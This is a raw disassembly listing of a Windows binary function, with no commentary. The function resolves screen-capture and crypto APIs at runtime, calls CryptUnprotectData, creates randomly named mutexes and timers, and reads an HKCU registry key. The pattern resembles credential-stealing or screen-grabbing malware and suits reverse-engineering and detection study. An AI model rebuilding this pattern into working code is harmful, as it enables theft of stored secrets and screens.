call dword [0x4160d8]
push str.EnumDisplayDevicesW
push dword [ebp - 0x10]
call dword [0x4160d8]
push str.GetClientRect
push dword [ebp - 0x10]
mov dword [0x416138], eax
call dword [0x4160d8]
push str.GetDC
push dword [ebp - 0x10]
mov dword [0x416124], eax
call dword [0x4160d8]
push str.GetDesktopWindow
push dword [ebp - 0x10]
mov dword [0x41618c], eax
call dword [0x4160d8]
push str.GetSystemMetrics
push dword [ebp - 0x10]
mov dword [0x416158], eax
call dword [0x4160d8]
push str.ReleaseDC
push dword [ebp - 0x10]
mov dword [0x416050], eax
call dword [0x4160d8]
push str.wsprintfW
push dword [ebp - 0x10]
mov dword [0x4160f4], eax
call dword [0x4160d8]
push str.CryptStringToBinaryA
push dword [ebp - 0x14]
mov dword [0x4160f0], eax
call dword [0x4160d8]
push str.CryptStringToBinaryW
push dword [ebp - 0x14]
mov dword [0x416040], eax
call dword [0x4160d8]
push str.CryptBinaryToStringW
push dword [ebp - 0x14]
mov dword [0x416160], eax
call dword [0x4160d8]
push str.WTMR_8m4te7mc
push 1
push 0
mov dword [0x416024], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
lea eax, [ebp - 0xa50]
push eax
push str.s_po0ax8oa
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_111waxoh
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_n0f9jzut
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_vuklqq1t
mov esi, eax
call edi
test esi, esi
je 0x4022f9
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_f4b1p0ao
call edi
push 8
pop esi
call ebx
sub esi, 1
jne 0x4022fc
push str.MTXiz5gw6dv
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40232d
push str.log:_y8yc9x8z
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_zeizuxri
call edi
jmp 0x40232f
call ebx
push 0x7bf
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x4c]
push eax
push 0x20019
push 0
push str.regv95x9a3t
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.CryptUnprotectData
push dword [ebp - 0x14]
call dword [0x4160d8]
mov dword [0x4160b4], eax
push 3
pop eax
pop edi
pop esi
pop ebx
leave
ret